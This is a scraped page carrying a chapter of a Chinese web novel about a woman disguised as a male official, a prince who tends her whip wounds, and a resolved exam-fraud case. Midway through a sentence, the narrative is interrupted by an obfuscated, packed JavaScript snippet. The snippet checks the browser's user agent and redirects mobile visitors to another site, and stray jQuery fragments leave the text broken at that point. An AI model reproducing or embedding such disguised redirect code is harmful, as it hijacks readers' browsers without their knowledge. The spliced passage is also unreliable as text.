35. 第 35 章
作品:《原来本王不是断袖》 杜昭明从院里出来时脸色很差,手底下几个御史各自抱着一摞卷子,杜昭明摆摆手,“秦员外不必跟着了,这事都察院会如实奏明陛下,出个章程的。”
秦嘉深揖拱手,“多谢杜大人!”
杜昭明当即要走,临上马前又忍不住指了秦嘉头上的簪子,欲言又止,“这玉簪...咳...是有容赠你的?”
秦嘉摸摸簪子,不知杜昭明为何能看出这支簪子的不同,“确实如此,大人怎知晓?”
杜昭明觉得这种事还是不要说破的好,但齐承修简直太大胆、太放肆,居然就这么让秦嘉招摇过市的戴着。
秦嘉见杜昭明摆手上马,一字未言,但脸色却比吃了苍蝇还难受。
杜昭明心头微叹,当初师娘共刻了梅兰竹菊四个玉簪子赠给他们师兄弟四人,是打着日后给姑娘作聘礼的。
他的那支,早在与夫人成婚的时候便赠予自家夫人了。
一声几不可查的叹息声散在空中,杜昭明没想到齐承修动心忍性这么多年,最后情窍居然开在一个男人身上。
柳生的事儿有了转机,秦嘉心里高兴,晚饭都多吃了半碗。
暮色沉下去,起了大风,雀儿忙把院里晾晒的衣裳收到屋中,嘟囔道:“瞧这天色晚上怕不是要下雨!”
秦嘉点头,“一连闷了这么日,合该下场雨了...”
贵三小跑进院,扶稳险些被风刮翻的木支架,指着外头道:“老爷,外头有人找您!”
秦嘉拐出门一瞧,不是别人正是扶霜。
“秦大人,殿下担心您的伤,让您过府一看呢。”
秦嘉一方面不想去,和齐承修接触的多了她总觉得自己守了许多年的秘密快被他看穿了,但要是拒绝呢,毕竟齐承修屡救她性命,帮她良多。
“秦大人?请吧?”
秦嘉撂下一句稍等,从屋内拿了把墨青色的伞来。这伞还是先前在法源寺时齐承修给她的,如今正好能还过去。
眼见秦嘉拿伞出门,方氏在屋内追问,“做什么去?”
秦嘉边走边回,“去同僚府上做客!”
方氏望一眼外头的天,嘀咕道:“这都快下雨了,你们这些个做大人的就是不消停...”
闷雷作响,夜风四起,整个京师都凉快下来,一扫近日的潮湿炎热,秦嘉的心境亦松快下来。
进了七王府,穿过抄手游廊,果真在膳厅前瞧见齐承修。
“殿下!”秦嘉拱手弯腰,笑道:“柳生的事儿有转机了,都察院的杜大人愿意把这事陈情陛下,只要让柳生和张怀月比试一番,事情就水落石出了!”
齐承修见他高兴,不曾出言打断,只是觉得秦嘉好久没这么笑了。
“郎中已候着了,让他看看你背上的鞭伤恢复的如何?”
秦嘉后撤半步,对此回应的游刃有余,“多谢殿下记挂,等背上结的痂掉了,自然就好了。”
“伤口这阵子最痒,若忍不住挠破了伤口会有感染的风险,待会叫郎中给你拿药。”
秦嘉欣然颔首,“谢殿下!”
原本问了伤拿了药就该回,可屋外响过几声闷雷,酝酿好几个时辰的雨湟湟下个不停,阻了客人脚步。
齐承修目光粘上廊庑下秦嘉的肩影,循循善诱,“雨骤风急,淮安今日不若留在这吧?”
袍角溅上水渍,秦嘉后退半步,礼貌拱手问:“可会叨扰殿下?”
“自是不会。”
秦嘉被女侍引着回房,进了屋门便一面啧啧感叹王府豪奢,一面东看看西摸摸。
“大人,婢子来给您换药。”
秦嘉扫过桌面上的伤药,摆手道:“你们都出去吧,我自己来即可。”
女婢应声而退,屋外骤雨霹雳乓啷响个不停,秦嘉颇有些守得云开见月明的心境,于是这声音听着也是极为悦耳的。
多日来的疲倦一扫而空。
径自取了湿帕子褪去上衣擦药,九道鞭痕分布在整个肩背上,雀儿之前拿镜子给她看过,看着确实唬人的很。
背上的伤痂零零散散褪了些,露出粉红肉皮,如齐承修所说,这个时段伤口最痒,总忍不住想去挠。
微凉的药膏慢慢覆在伤口上,秦嘉顺着伤口往上涂。
霹雳雨声掩住脚步声,屋外齐承修收了伞,径自推门——
隔着素纱座屏、榻上一人的背影映入眼帘,齐承修神色温和,或者说他面对秦嘉时格外耐心温和,“自己涂得了药么?”
陡然听见背后的人声,秦嘉登时三魂离体,好悬没一口气憋过去,径自拢上衣裳,“殿下!下官衣冠不整,实不能见人啊!”
齐承修的脚步堪堪顿在座屏外头。
“本王来给你上药...”
秦嘉捂着衣裳嗓音颤颤,“殿下...下官自己来就成,哪里需要劳烦殿下...”
“后背那儿的伤你够不到。”齐承修兀自转过座屏,见秦嘉捂着衣裳一副凌凌然不肯就义的模样,不由轻笑出声,“都是男人,你不好意思什么?”
秦嘉苦笑,“殿下是将军,行走疆场惯了自然是大丈夫不拘小节,可下官是个文人,此举实在、实在有伤风化啊...”
齐承修见他一副死活都不肯的样子,道:“本王找个婢子来总行了吧?”
“别!下官不需要任何人!”
齐承修自上而下睨着人,忽而轻笑一声,不知什么东西从指尖弹出,一下子打灭了桌上的灯烛,视线一下子暗下来,“你倒是难伺候,本王不看总行了吧?”
衣裳是在两人拉拉扯扯间拽下来的,背后伤口暴露在空气中,秦嘉身子缩了又缩。
带着厚茧的指腹慢慢拂过皮肤,拂过崎岖的伤痂,紧接着皮肤泛起被清凉药膏被涂抹的酥麻痒意。
在背上游走的手指停停顿顿,毫无障碍的触碰她的肌肤,火热、游离、一触即分。
秦嘉死咬着唇才没发出什么不该有的声音。
“殿下...好了么?”
屋内屋外是全黑的,说实话齐承修什么也看不清,但正因为视线被剥夺,他的嗅觉和触觉才更加敏锐。
秦嘉的躯体是温热的,皮肤滑腻,如果没有那九鞭落下的伤疤应该会更好。
他好像很瘦,骨架也小,背上嶙峋着脊骨。
好半晌,青年收手,“好了...”
秦嘉听得这一声如临大赦,忙不迭拢好前襟。
屋外闪电划过天际,几息后雷声霹雳响起,屋内外惨亮一瞬,齐承修自那一瞬里看见秦嘉墨色的发与雪白中衣交织在一起,还有他单薄的脊背。
指腹的触感犹在,他不自觉捻了捻指尖,温声道:“好好休息。”
屋门敞开又关上,屋内衢静无声。
秦嘉抹着一脑门子汗一头扎进被褥里。
天老爷,您要是不多此一举的给她上药,她今夜或许还能睡个好觉,这么弄一遭,方才的感觉让皮肤泛起一阵阵战栗,说不出的怪异。
到了后半夜才枕着雨声睡去。
次日一早,等齐承修从练武场回来问起秦嘉,于管家才道:“小秦大人说今儿个上值,不敢耽搁,早早就离开了。”
齐承修早料到他会跑,问了句:“没吃上早膳?”
于管家道:“给小秦大人拿了两张饼子,他就跑了。”
齐承修闷笑出声,似是脑补出秦嘉一脸避之不及磕磕绊绊出府
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454510|199335||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的样子。
于管家观他面色,忽而道:“殿下,杜大人昨儿个叫人传话说殿下欠他一顿好酒菜,叫殿下记着呢。”
齐承修扬眉道:“他是都察院的左都御史,春闱这案子他不管谁管?也罢,等父皇下了明喻再宴他不迟。”
秦嘉到兵部衙署上值的时候,宣德殿大朝已经散了,杜昭明前一日给宣宁帝上了折子,今儿个大朝上宣宁帝脸色不好,却也允了杜昭明的提议,让柳生与张怀月单独比一场,叫了翰林院的几个翰林们合议出题。
不消半日,消息传遍六部。
秦嘉不慌不忙坐在值事房内理事,杨旭见他这八风不动、稳如泰山的模样,凑上来问:“翰林院那边正在比题,你是没看见张阁老的脸色黑的都快成黑炭了,你就不心焦?”
秦嘉自顾沾墨,誊抄文书,“我心焦什么?”
杨旭嘿的一声,“年轻人,你倒沉得住气,要知道若是你保的柳贡士输了,得罪了张阁老,落得个诬告名头,三法司得拿你下狱。”杨旭点点秦嘉,煞有其事道:“现在你的性命和柳小贡士的命是系在一块的!”
秦嘉扬唇,“那我信他。”
临到下值,翰林院里三层外三层围着人,比试的结果还没出来,秦嘉从兵部衙署出来,到了翰林院瞧见苏闵泽,掐腰喘着粗气问:“怎么样?”
苏闵泽当即给他倒碗凉茶,“结果还没出来,祭酒和博士们正在阅卷。”
一碗凉茶滚到肚里,秦嘉撩袍坐下,“那我就在这等!”
朝廷内外文武百官,与秦嘉一样在等这个结果的不知有多少人,苏闵泽望向晴好的蓝天,“会有结果的。”
酉正三刻,翰林院的几个翰林费力从人潮中挤出来,柳张二人的墨卷规规矩矩盛在木盒内,被宫内的禁军护卫一路回宫。
陆谦从人堆里挤出来,到了值事房先灌了两杯凉茶,才抹着嘴巴道:“墨卷全都送去宫里了,陛下这是要亲自看,我猜宫内一时半会传不出消息。”
苏闵泽捏着杯壁不安望向外头,“最怕陛下有心袒护...”
陆谦摁上苏闵泽肩头,“放心吧,陛下若真要袒护张怀月,又岂会让他们二人重新比试?”
“万一在朝上是赶鸭子上架呢?”
二人望向坐在值房台阶上的秦嘉,昨儿夜里下过一场大雨,路面上洼地里积了水,倒映着一方湛蓝的天空。
秦嘉随意坐在值房的台阶上,头靠着门扉,不知在想什么。
“淮安,你怎么想?”
秦嘉岔着腿,手肘抵在膝盖上,掌心撑着额头,被阴凉处的夜风吹的痛快,闻言唔了声,“我在想...今儿晚上吃点什么好?”
陆谦笑声问:“你就不担心柳生?”
“该做的事都已经做完了,这剩下的咱们可就管不着了!而且我猜陛下不会在春闱这事上纵着这些官宦子弟的。”
“何以见得?”苏闵泽撩袍与秦嘉坐在一处。
秦嘉望着晴好的天,“感觉而已,明日上朝总该有个章程。”
金乌坠进地平线,夜幕坠上星子,三人在陆谦院里吃完晚饭各自回家,宫里的消息居然等不及明日早朝,夜里就顺着京师的阡陌小巷递了出来。
——张怀月论罪下狱。
是金吾卫亲自去张阁老府上拿的人,月余的胆战心惊陡然松下,她难得睡了个好觉。
次日上值路上遇着陆谦,秦嘉低声打探,“刑部那边什么意思?何时能放人?”
“且不知呢...陛下连今儿个早朝都等不及,夜里就叫人拿了张怀月下狱,朝廷上下都传遍了,没这么简单。”
秦嘉袖手茫然望着前边,“你有没有听见什么声音啊?”

